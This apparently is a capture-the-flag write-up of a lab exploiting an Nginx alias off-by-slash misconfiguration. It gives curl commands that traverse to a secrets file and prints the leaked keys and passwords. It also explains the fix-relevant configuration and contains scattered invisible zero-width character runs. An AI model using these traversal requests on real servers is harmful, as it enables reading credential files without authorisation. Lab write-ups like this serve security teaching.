← Back to Writeups
CUSTOMEasyWeb

Lab 160 — WikiForge — Nginx Alias Path Traversal

XESXOR9/2/20263 min read
#web#custom#easy#client_side_hint_discovery#nginx_alias_path_traversal#off_by_slash_exploitation#source_code_analysis

Lab 160 — WikiForge — Nginx Alias Path Traversal

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: client_side_hint_discovery, nginx_alias_path_traversal, off_by_slash_exploitation, source_code_analysis

Summary

Walkthrough of the CUSTOM Web Lab 160 — WikiForge — Nginx Alias Path Traversal. Task: Knowledge base platform serving static assets via Nginx alias — off-by-slash misconfiguration allows path traversal to read arbitrary files. Solution: Discovered config path from commented JS co

Description

WikiForge is a team knowledge base platform built by ForgePoint Technologies where organizations create, organize, and share internal documentation. The application features article authoring with markdown support, version history, collections for organizing content, full-text search, and comments. Explore the application infrastructure and find sensitive configuration data that should not be publicly accessible. Hint: "Pay close attention to how static assets are served — the devil is in the details of the web server configuration." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A knowledge base platform (WikiForge) running behind Nginx with an Express/Node.js backend. The goal is to find sensitive configuration data by exploiting a web server misconfiguration in how static assets are served.

Credentials: user@test.com / password123 Target: https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/

Analysis

Infrastructure Fingerprinting

Identified the technology stack from HTTP response headers:

  • Web Server: Nginx 1.25.5 (from Server header)
  • Backend: Express/Node.js (from X-Powered-By: Express header)
  • Static Assets: Served from /assets/ path (CSS at /assets/css/style.css, JS at /assets/js/app.js) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Nginx Alias Off-by-Slash Vulnerability

The hint pointed to static asset serving configuration. Tested the classic Nginx alias path traversal (off-by-slash):

bash
# Request /assets../ — if Nginx has `location /assets` (no trailing slash)
# with `alias /path/to/assets/` (with trailing slash), this resolves to parent directory
curl -s -o /dev/null -w "%{http_code}" "https://target/assets../"
# Result: 403 Forbidden — directory listing denied, but traversal WORKS

A request to a non-existent file via traversal (/assets../nonexistent) returns Nginx's native 404 page (not the Express app's custom 404), further confirming the vulnerability bypasses the application layer entirely. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Client-Side Source Code Analysis

Reading /assets/js/app.js revealed commented-out configuration:

javascript
// var APP_CONFIG_ENDPOINT = '/config/.secrets.json';
// var INTERNAL_API_BASE = '/api/internal';

This disclosed the path to a sensitive configuration file that is not served by the Express application but exists on the filesystem.

Honeypot Flag Detection

Every page contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} injected into HTML comments and hidden divs. This was correctly identified as fake based on:

  • The flag value literally contains "decoy", "not real", and "trap for bots"
  • It appeared on every page (real flags are typically in one specific location) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Confirm Nginx Alias Path Traversal

bash
# Test off-by-slash — 403 confirms traversal works (directory listing denied)
curl -s -o /dev/null -w "%{http_code}" "https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/assets../"
# 403

Step 2: Discover Config Path from Client JS

bash
curl -s "https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/assets/js/app.js" | grep -i config
# // var APP_CONFIG_ENDPOINT = '/config/.secrets.json';

Step 3: Exploit Path Traversal to Read Secrets

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -s "https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/assets../config/.secrets.json"

Step 4: Retrieved Sensitive Configuration

json
{
  "database_url": "sqlite:///app/data/database.db",
  "session_secret": "fp-wikiforge-s3ss10n-k3y-2025xQ",
  "internal_api_key": "fpk_live_a8f2c9d1e4b7530946ab",
  "smtp_password": "SG.nk4R29xvQe2pZ1mB8wTjfw.placeholder",
  "FLAG": "FLAG{REDACTED}"
}

Why It Works

The vulnerable Nginx configuration looks like:

nginx
location /assets {
    alias /app/static/assets/;
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The off-by-slash vulnerability occurs because:

  1. location /assets has no trailing slash
  2. alias /app/static/assets/ has a trailing slash

When requesting /assets../config/.secrets.json:

  • Nginx matches location /assets (prefix match)
  • Strips the matched prefix /assets from the URI, leaving ../config/.secrets.json
  • Appends to the alias path: /app/static/assets/ + ../config/.secrets.json
  • Resolves to /app/static/config/.secrets.json → actually /app/config/.secrets.json ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Direct access to /config/.secrets.json via the Express app returns 404 (the app doesn't serve it), but the Nginx alias traversal serves the file directly from the filesystem, bypassing application-level access controls. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering client_side_hint_discovery, nginx_alias_path_traversal, off_by_slash_exploitation, source_code_analysis was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 160 — WikiForge — Nginx Alias Path Traversal • Difficulty: Easy